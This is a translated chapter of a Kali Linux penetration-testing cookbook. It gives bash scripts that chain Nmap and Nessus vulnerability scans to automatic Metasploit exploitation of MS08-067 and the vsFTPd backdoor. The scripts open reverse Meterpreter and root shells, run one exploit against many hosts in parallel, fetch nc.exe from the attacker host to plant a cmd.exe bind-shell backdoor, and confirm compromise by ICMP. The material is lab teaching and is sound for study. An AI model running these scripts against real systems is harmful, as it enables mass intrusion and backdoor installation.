1. 程式人生 > >Kali Linux 網路掃描祕籍 第八章 自動化 Kali 工具

Kali Linux 網路掃描祕籍 第八章 自動化 Kali 工具

第八章 自動化 Kali 工具

作者:Justin Hutchens

譯者:飛龍

Kali Linux 滲透測試平臺提供了大量高效的工具,來完成企業滲透測試中所需的大多數常見任務。 然而,有時單個工具不足以完成給定的任務。 與構建完全新的指令碼或程式來完成具有挑戰性的任務相比,編寫使用現有工具以及按需修改其行為的指令碼通常更有效。 實用的本地指令碼的常見型別包括用於分析或管理現有工具的輸出,將多個工具串聯到一起的指令碼,或者必須順序執行的多執行緒任務的指令碼。

8.1 的 Nmap greppable 輸出分析

Nmap 被大多數安全專業人員認為是 Kali Linux 平臺中最流暢和有效的工具之一。 但是由於這個工具的驚人和強大的功能,全面的埠掃描和服務識別可能非常耗時。 在整個滲透測試中,不針對不同的服務埠執行目標掃描,而是對所有可能的 TCP 和 UDP 服務執行全面掃描,然後僅在整個評估過程中引用這些結果,是一個更好的方法。 Nmap 提供了 XML 和 greppable 輸出格式來輔助這個過程。

理想情況下,你應該熟悉這些格式,你可以從輸出檔案中按需提取所需的資訊。 但是作為參考,此祕籍會提供示例指令碼,可用於提取標識為在指定埠上執行服務的所有 IP 地址。

準備

要使用本祕籍中演示的指令碼,你需要使用 grepable 格式的 Nmap 輸出結果。 這可以通過執行 Nmap 埠掃描並使用-oA選項輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個系統在單個/24子網上掃描,這包括 Windows XP 和 Metasploitable2。 有關設定 Metasploitable2 的更多資訊,請參閱本書第一章中的“安裝 Metasploitable2”祕籍。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章中的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示了使用 bash 指令碼語言甚至是 bash 命令列介面(CLI),從 Nmap 輸出的 greppable 格式中提取資訊,這十分簡單:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>"; 
exit; fi

port=$1 
file=$2

echo "Systems with port $port open:"

grep $port $file | grep open | cut -d " " -f 2 

為了確保你能理解指令碼的功能,我們將按順序對每一行進行講解。 指令碼的第一行只指向 bash 直譯器,以便指令碼可以獨立執行。 指令碼的第二行是一個if ... then

條件語句,用於測試是否向指令碼提供了任何引數。 這只是最小的輸入驗證,以確保指令碼使用者知道工具的使用。 如果工具在沒有提供任何引數的情況下執行,指令碼將echo其使用的描述,然後退出。 使用描述會請求兩個引數,包括或埠號和檔名。

接下來的兩行將每個輸入值分配給更易於理解的變數。 第一個輸入值是埠號,第二個輸入值是 Nmap 輸出檔案。 然後,指令碼將檢查 Nmap greppable 輸出檔案,來判斷指定埠號的服務上運行了什麼系統(如果有的話)。

root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>

當你在沒有任何引數的情況下執行指令碼時,將輸出用法描述。 要使用指令碼,我們需要輸入一個要檢查的埠號和 Nmap grepable 輸出檔案的檔名。 提供的示例在/ 24網路上執行掃描,並使用檔名netscan.txt生成 greppable 輸出檔案。 然後,該指令碼用於分析此檔案,並確定各個埠上的活動服務中是否能發現任何主機。

root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt 
Systems with port 80 open: 
172.16.36.135 
172.16.36.225 
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt 
Systems with port 22 open: 
172.16.36.135 
172.16.36.225 172.16.36.239 
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt 
Systems with port 445 open: 
172.16.36.135 
172.16.36.225 

所展示的示例執行指令碼來判斷埠 80, 22 和 445 上所執行的主機。指令碼的輸出顯示正在評估的埠號,然後列出輸出檔案中任何系統的IP地址,這些系統在該埠上執行活動服務。

工作原理

grep是一個功能強大的命令列工具,可在 bash 中用於 從輸出或從給定檔案中提取特定內容。 在此祕籍提供的指令碼中,grep用於從 Nmap grepable 輸出檔案中提取給定埠號的任何例項。 因為grep函式的輸出包括多條資訊,所以輸出通過管道傳遞到cut函式,來提取 IP 地址,然後將其輸出到終端。

8.2 使用指定 NSE 指令碼的 Nmap 埠掃描

許多Nmap指令碼引擎(NSE)的指令碼僅適用於在指定埠上執行的服務。 考慮smb-check-vulns.nse指令碼的用法。 此指令碼將評估在 TCP 445 埠上執行的 SMB 服務的常見服務漏洞。 如果此指令碼在整個網路上執行,則必須重新完成任務來確定埠 445 是否開啟,以及每個目標系統上是否可訪問 SMB 服務。 這是在評估的掃描階段期間可能已經完成的任務。 Bash 指令碼可以用於利用現有的 Nmap greppable 輸出檔案來執行服務特定的 NSE 指令碼,它們只針對執行這些服務的系統。 在本祕籍中,我們將演示如何使用指令碼來確定在先前掃描結果中執行 TCP 445 上的服務的主機,然後僅針對這些系統執行smb-check-vulns.nse指令碼。

準備

要使用本祕籍中演示的指令碼,你需要使用 grepable 格式的 Nmap 輸出結果。 這可以通過執行 Nmap 埠掃描並使用-oA選項輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個系統在單個/24子網上掃描,這包括 Windows XP 和 Metasploitable2。 有關設定 Metasploitable2 的更多資訊,請參閱本書第一章中的“安裝 Metasploitable2”祕籍。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章中的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼將多個任務串聯在一起。 這裡,我們需要執行 Nmap grepable 輸出檔案的分析,然後由該任務標識的資訊用於針對不同的系統執行 Nmap NSE 指令碼。 具體來說,第一個任務將確定哪些系統在 TCP 445 上執行服務,然後針對每個系統執行smb-check-vulns.nse指令碼。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi

file=$1

for x in $(grep open $file | grep 445 | cut -d " " -f 2); 
    do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1; 
done 

為了確保你能理解指令碼的功能,我們將按順序講解每一行。 前幾行與上一個祕籍中討論的指令碼類似。 第一行指向 bash 直譯器,第二行檢查是否提供引數,第三行將輸入值賦給易於理解的變數名。 指令碼的正文有一定區分。 for迴圈用於遍歷通過grep函式獲取的 IP 地址列表。 從grep函式輸出的 IP 地址列表對應在 TCP 埠 445 上執行服務的所有系統。然後對這些 IP 地址中的每一個執行 Nmap NSE 指令碼。 通過僅在先前已標識為在 TCP 445 上執行服務的系統上執行此指令碼,執行 NSE 掃描所需的時間大大減少。

root@KaliLinux:~# ./smb_eval.sh 
Usage: #./script <file>

通過執行不帶任何引數的指令碼,指令碼將輸出用法描述。 該描述表明,應當提供現有 Nmap grepable 輸出檔案的檔名。 當提供 Nmap 輸出檔案時,指令碼快速分析檔案來查詢具有 TCP 445 服務的任何系統,然後在每個系統上執行 NSE 指令碼,並將結果輸出到終端。

[email protected]:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.135 
Host is up (0.00035s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:3D:84:32 (VMware)

Host script results: 
| smb-check-vulns: 
|   Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). 
|   
|  If you know the remote system is Windows, try rebooting it and scanning 
|   
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00041s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds 

在提供的示例中,指令碼會傳遞到netscan.txt輸出檔案。 對檔案進行快速分析後,指令碼確定兩個系統正在埠445上執行服務。然後使用smb-check-vulns.nse指令碼掃描每個服務,並在終端中生成輸出。

工作原理

通過提供grep序列作為for迴圈要使用的值,此祕籍中的 bash 指令碼基本上只是迴圈遍歷該函式的輸出。 通過獨立執行該函式,可以看到它只提取對應執行 SMB 服務的主機的 IP 地址列表。 然後,for迴圈遍歷這些IP地址,並對每個 IP 地址執行 NSE 指令碼。

8.3 使用 MSF 漏洞利用的 Nmap MSE 漏洞掃描

在某些情況下,開發一個將漏洞掃描與利用相結合的指令碼可能會有所幫助。 漏洞掃描通常會導致誤報,因此通過執行漏洞掃描的後續利用,可以立即驗證這些發現的正確性。 此祕籍使用 bash 指令碼來執行smb-check-vulns.nse指令碼,來確定主機是否存在 MS08-067 NetAPI 漏洞,並且如果 NSE 指令碼顯示如此,Metasploit 會用於 自動嘗試利用它來驗證。

準備

要使用本祕籍中演示的指令碼,你需要使用 grepable 格式的 Nmap 輸出結果。 這可以通過執行 Nmap 埠掃描並使用-oA選項輸出所有格式,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中,多個系統在單個/24子網上掃描,這包括 Windows XP 和 Metasploitable2。 有關設定 Metasploitable2 的更多資訊,請參閱本書第一章中的“安裝 Metasploitable2”祕籍。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章中的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼將漏洞掃描和目標利用的任務串聯到一起。 在這種情況下,smb-checkvulns.nse指令碼用於確定系統是否容易受到 MS08-067 攻擊,然後如果發現系統存在漏洞,則對系統執行相應的 Metasploit 漏洞利用。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>"; 
exit; fi

rhost=$1 
lhost=$2 
lport=$3

nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt 
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E; 
fi 
rm tmp_output.txt  

為了確保你能理解指令碼的功能,我們將按順序對每一行進行講解。指令碼中的前幾行與本章前面討論的指令碼相同。第一行定義直譯器,第二行測試輸入,第三,第四和第五行都用於根據使用者輸入定義變數。在此指令碼中,提供的使用者變數對應 Metasploit 中使用的變數。 RHOST變數應該定義目標的 IP 地址,LHOST變數應該定義反向監聽器的 IP 地址,LPORT變數應該定義正在監聽的本地埠。然後指令碼在正文中執行的第一個任務是,對目標系統的 IP 地址執行smb-check-vulns.nse指令碼,它由RHOST輸入定義。然後,結果以正常格式輸出到臨時文字檔案。然後,if ... then條件語句與grep函式結合使用,來測試輸出檔案中是否有唯一的字串,它表明系統存在漏洞。如果發現了唯一的字串,則指令碼會顯式系統看起來存在漏洞,然後使用 Metasploit 框架命令列介面(MSFCLI)使用 Meterpreter 載荷執行 Metasploit 漏洞利用。最後,在載入漏洞利用後,使用rm函式從檔案系統中刪除 Nmap 臨時輸出檔案。test_n_xploit.sh bash命令執行如下:

root@KaliLinux:~# ./test_n_xploit.sh 
Usage: #./script <RHOST> <LHOST> <LPORT>

如果在不提供任何引數的情況下執行指令碼,指令碼將輸出相應的用法。 此使用描述顯示,該指令碼應以引數RHOSTLHOSTLPORT執行。 這些輸入值將用於 Nmap NSE 漏洞掃描和(如果有保證)使用 Metasploit 在目標系統上執行利用。 在以下示例中,指令碼用於確定 IP 地址為172.16.36.225的主機是否存在漏洞。 如果系統被確定為存在漏洞,則會執行利用,並連線到反向 TCP Meterpreter 處理器,該處理其在 IP 地址172.16.36.239的 TCP 埠 4444 上監聽系統。

[email protected]:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00077s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit... 
[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4444

[*] Started reverse handler on 172.16.36.239:4444 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability... 
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

上面的輸出顯示,在完成 Nmap NSE 指令碼後,將立即執行 Metasploit exploit 模組並在目標系統上返回一個互動式 Meterpreter shell。

工作原理

MSFCLI 是 MSF 控制檯的有效替代工具,可用於直接從終端執行單行命令,而不是在互動式控制檯中工作。 這使得 MSFCLI 對於 bash shell 指令碼中的使用是一個很好的功能。 因為可以從 bash 終端執行 NSE 指令碼和 MSFCLI,所以可以輕鬆編寫 shell 指令碼來將這兩個功能組合在一起。

8.4 使用 MSF 漏洞利用的 Nessuscmd 漏洞掃描

將 NSE 指令碼和 Metasploit 利用結合到一起可以減輕工作量。可由 NSE 指令碼測試的漏洞數量明顯小於可通過專用漏洞掃描程式(如 Nessus)評估的漏洞數量。 幸運的是,Nessus 有一個名為 Nessuscmd 的命令列工具,也可以在 bash 中輕鬆訪問。 該祕籍演示瞭如何將 Nessus 定向漏洞掃描與 MSF 自動利用相結合來驗證發現。

準備

為了使用此祕籍中演示的指令碼,你需要訪問執行漏洞服務的系統,該服務可以使用 Nessus 進行標識,並且可以使用 Metasploit 進行利用。 提供的示例在 Metasploitable2 伺服器上使用 vsFTPd 2.3.4 後門漏洞。 有關設定 Metasploitable2 的更多資訊,請參閱本書第一章中的“安裝 Metasploitable2”祕籍。

此外,本節需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章中的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼,將漏洞掃描和目標利用的任務結合到一起。 在這種情況下,Nessuscmd 用於執行 Nessus 外掛,測試 vsFTPd 2.3.4 後門,以確定系統是否存在漏洞,然後如果發現系統存在漏洞,則對系統執行相應的 Metasploit 漏洞利用:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi

rhost=$1

/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt 
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];    
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/ 
    interact RHOST=$rhost E; 
fi 
rm tmp_output.txt 

指令碼的開頭非常類似於漏洞掃描和利用指令碼,它將 NSE 掃描與前一個祕籍中的 MSF 利用組合在一起。但是,由於在此特定指令碼中使用了不同的載荷,因此使用者必須提供的唯一引數是RHOST值,該值應該是目標系統的 IP 地址。指令碼的正文以執行 Nessuscmd 工具開始。 -p引數宣告正在評估的遠端埠,-i引數宣告外掛號。外掛 55523 對應 VSFTPd 2.3.4 後門的 Nessus 審計。 然後,Nessuscmd 的輸出重定向到一個名為tmp_output.txt的臨時輸出檔案。如果目標系統上存在此漏洞,則此指令碼的輸出將僅返回外掛 ID。所以下一行使用if ... then條件語句結合grep序列,來確定返回的輸出中的外掛 ID。如果輸出中返回了外掛ID,表明系統應該存在漏洞,那麼將執行相應的 Metasploit 利用模組。

root@KaliLinux:~# ./nessuscmd_xploit.sh 
Usage: #./script <RHOST>

如果在不提供任何引數的情況下執行指令碼,指令碼將輸出相應的用法。 此使用描述表示,應使用RHOST引數執行指令碼,它用於定義目標 IP 地址。 此輸入值將用於 Nessuscmd 漏洞掃描和(如果存在漏洞)使用 Metasploit 在目標系統上執行利用。 在以下示例中,指令碼用於確定 IP 地址為172.16.36.135的主機是否存在漏洞。 如果系統被確定為存在漏洞,則將執行該利用,並自動建立與後門的連線。

root@KaliLinux:~# ./nessuscmd_xploit.sh 172.16.36.135 
172.16.36.135 appears to be vulnerable, exploiting with Metasploit... 
[*] Initializing modules... 
PAYLOAD => cmd/unix/interact 
RHOST => 172.16.36.135 
[*] Banner: 220 (vsFTPd 2.3.4) 
[*] USER: 331 Please specify the password. 
[+] Backdoor service has been spawned, handling... 
[+] UID: uid=0(root) gid=0(root) 
[*] Found shell. 
[*] Command shell session 1 opened (172.16.36.232:48126 -> 172.16.36.135:6200) at 2014-04-28 00:29:21 -0400

whoami 
root 
cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
                            **{TRUNCATED}** 

因為 Nessuscmd 的輸出被重定向到臨時檔案,而不是使用整合的輸出函式,所以沒有指令碼返回的輸出來表明掃描成功,除了一個字串用於指示系統看起來存在 Metasploit 試圖利用的漏洞。 一旦指令碼執行完畢,將在目標系統上返回具有root許可權的互動式 shell。 為了演示這一點,我們使用了whoamicat命令。

工作原理

Nessuscmd 是 Nessus 漏洞掃描器中包含的命令列工具。 此工具可用於通過直接從終端執行目標掃描,來掃描和評估不同外掛的結果。 因為該工具(如 MSFCLI)可以輕易從 bash 終端呼叫,所以我們很容易構建一個指令碼,將兩個任務串聯到一起,將漏洞掃描與利用相結合。

8.5 使用反向 Shell 載荷的多執行緒 MSF 漏洞利用

使用 Metasploit 框架執行大型滲透測試的一個困難,是每個利用必須按順序單獨執行。 如果你想確認大量系統中單個漏洞的可利用性,單獨利用每個漏洞的任務可能變得乏味。 幸運的是,通過結合 MSFCLI 和 bash 指令碼的功能,可以通過執行單個指令碼,輕易在多個系統上同時執行攻擊。 該祕籍演示瞭如何使用 bash 在多個系統中利用單個漏洞,併為每個系統開啟一個 Meterpreter shell。

準備

要使用此祕籍中演示的指令碼,你需要訪問多個系統,每個系統都具有可使用 Metasploit 利用的相同漏洞。 提供的示例複製了執行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個例項。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節還需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼同時利用單個漏洞的多個例項。 特別是,此指令碼可用於通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個例項:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; 
exit; fi

iplist=$1 
lhost=$2

i=4444 
for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi 
    PAYLOAD=windows/meterpreter/reverse_tcp 
    RHOST=$ip LHOST=$lhost LPORT=$i E   
    echo "Exploiting $ip and establishing reverse connection on local port $i" 
i=$(($i+1)) 
done 

指令碼使用for迴圈,對輸入文字檔案中列出的每個 IP 地址執行特定任務。 該特定任務包括啟動一個新的 GNOME 終端,該終端又執行必要的msfcli命令來利用該特定系統,然後啟動反向 TCP meterpreter shell。 因為for迴圈為每個 MSFCLI 漏洞啟動一個新的 GNOME 終端,每個都作為一個獨立的程序執行。 以這種方式,多個程序可以並行執行,並且每個目標將被同時利用。 本地埠值被初始化為 4444,並且對被利用的每個附加系統增加 1,使每個 meterpreter shell 連線到不同的本地埠。 因為每個程序在獨立的 shell 中執行,所以這個指令碼需要從圖形桌面介面執行,而不是通過 SSH 連線執行。 ./multipwn.sh bash shell可以執行如下:

[email protected]:~# ./multipwn.sh 
Usage: #./script <host file> <LHOST> 
[email protected]:~# ./multipwn.sh iplist.txt 172.16.36.239 
Exploiting 172.16.36.132 and establishing reverse connection on local port 4444 
Exploiting 172.16.36.158 and establishing reverse connection on local port 4445 
Exploiting 172.16.36.225 and establishing reverse connection on local port 4446

如果在不提供任何引數的情況下執行指令碼,指令碼將輸出相應的用法。 該使用描述將表明,該指令碼以定義監聽 IP 系統的LHOST變數,以及包含目標 IP 地址列表的文字檔案的檔名來執行。 一旦以這些引數執行,會開始彈出一系列新的終端。 這些終端中的每一個將執行輸入列表中的 IP 地址之一的利用序列。 原始的執行終端將在執行時輸出程序列表。 所提供的示例利用了三個不同的系統,並且為每個系統開啟單獨的終端。其中一個終端的示例如下:

[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4446 
[*] Started reverse handler on 172.16.36.239:4446 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4446 -> 172.16.36.225:1950) at 2014-04-10 07:12:44 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM 
meterpreter >

每個終端啟動單獨的 MSFCLI 例項並執行利用。 假設攻擊成功,會執行載荷,並且互動式 Meterpreter shell 將在每個單獨的終端中可用。

工作原理

通過對每個程序使用單獨的終端,可以使用單個 bash 指令碼執行多個並行利用。 另外,通過使用為LPORT分配的遞增值,可以同時執行多個反向 meterpreter shell。

8.6 使用可執行後門的多執行緒 MSF 利用

該祕籍演示瞭如何使用 bash ,在多個系統上利用單個漏洞,並在每個系統上開啟一個後門。 後門包括在目標系統上暫存 Netcat 可執行檔案,並開啟監聽服務,在收到連線後執行cmd.exe

準備

要使用此祕籍中演示的指令碼,你需要訪問多個系統,每個系統都具有可使用 Metasploit 利用的相同漏洞。 提供的示例複製了執行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個例項。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節還需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼同時利用單個漏洞的多個例項。 特別是,此指令碼可用於通過引用 IP 地址的輸入列表,來利用 MS08-067 NetAPI 漏洞的多個例項:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"tftp -i 172.16.36.239 GET nc.exe && nc.exe -lvp 4444 -e cmd.exe\"" RHOST=$ip E   
    echo "Exploiting $ip and creating backdoor on TCP port 4444" 
done 

此指令碼與上一個祕籍中討論的指令碼不同,因為此指令碼在每個目標上安裝一個後門。 在每個被利用的系統上,會執行一個載荷,它使用整合的簡單檔案傳輸協議(TFTP)客戶端來抓取 Netcat 可執行檔案,然後使用它在 TCP 埠 4444 上開啟一個cmd.exe監聽終端服務。為此, TFTP 服務將需要在 Kali 系統上執行。 這可以通過執行以下命令來完成:

root@KaliLinux:~# atftpd --daemon --port 69 /tmp 
root@KaliLinux:~# cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe 

第一個命令在 UDP 埠 69 上啟動 TFTP 服務,服務目錄在/ tmp中。 第二個命令用於將 Netcat 可執行檔案從Windows-binaries資料夾複製到 TFTP 目錄。 現在我們執行./multipwn.sh bash shell:

[email protected]:~# ./multipwn.sh 
Usage: #./script <host file> 
[email protected]:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.158 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.225 and creating backdoor on TCP port 4444 

如果在不提供任何引數的情況下執行指令碼,指令碼將輸出相應的用法。 該使用描述表明,該指令碼應該以一個引數執行,該引數指定了包含目標 IP 地址列表的文字檔案的檔名。 一旦以這個引數執行,會開始彈出一系列新的終端。 這些終端中的每一個將執行輸入列表中的 IP 地址之一的利用序列。 原始執行終端在它們被執行時輸出程序列表,並且表明在每個終端上建立後門。 在每個終端中完成利用序列之後,Netcat 可以用於連線到由載荷開啟的遠端服務:

root@KaliLinux:~# nc -nv 172.16.36.225 4444 
(UNKNOWN) [172.16.36.225] 4444 (?) open 
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

在提供的示例中,IP 地址為172.16.36.225的被利用的系統上的 TCP 4444 埠的連線,會生成可遠端訪問的cmd.exe終端服務。

工作原理

Netcat 是一個功能強大的工具,可以用於各種目的。 雖然這是遠端執行服務的有效方式,但不建議在生產系統上使用此技術。 這是因為任何可以與監聽埠建立 TCP 連線的人都可以訪問 Netcat 開啟的後門。

8.7 使用 ICMP 驗證多執行緒 MSF 利用

該祕籍演示瞭如何使用 bash 利用跨多個系統的單個漏洞,並使用 ICMP 流量驗證每個漏洞的成功利用。 這種技術需要很少的開銷,並且可以輕易用於收集可利用的系統列表。

準備

要使用此祕籍中演示的指令碼,你需要訪問多個系統,每個系統都具有可使用 Metasploit 利用的相同漏洞。 提供的示例複製了執行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個例項。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節還需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼同時利用單個漏洞的多個例項。 特別是,此指令碼可用於通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個例項:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist)
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c ping \"172.16.36.239 -n 1 -i 15\"" 
    RHOST=$ip E   
    echo "Exploiting $ip and pinging" 
done 

此指令碼與上一個祕籍中討論的指令碼不同,因為載荷僅僅從被利用系統向攻擊系統發回 ICMP 迴響請求。 在執行ping命令並使用-i選項來指定生存時間(TTL)為15 時。此備用TTL值用於區分利用生成的流量與正常 ICMP 流量。 還應該執行定製的 Python 監聽器指令碼,通過接收 ICMP 流量來識別被利用的系統。 這個指令碼如下:

#!/usr/bin/python

from scapy.all import * 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def rules(pkt):   
    try:      
        if ((pkt[IP].dst=="172.16.36.239") and (pkt[ICMP]) and pkt[IP]. ttl <= 15):         
            print str(pkt[IP].src) + " is exploitable"      
    except:         
        pass

print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning" 
sniff(lfilter=rules,store=0) 

指令碼偵聽所有傳入的流量。 當接收到 TTL 值為 15或 更小的 ICMP 資料包時,指令碼將系統標記為可利用。

root@KaliLinux:~# ./listener.py 
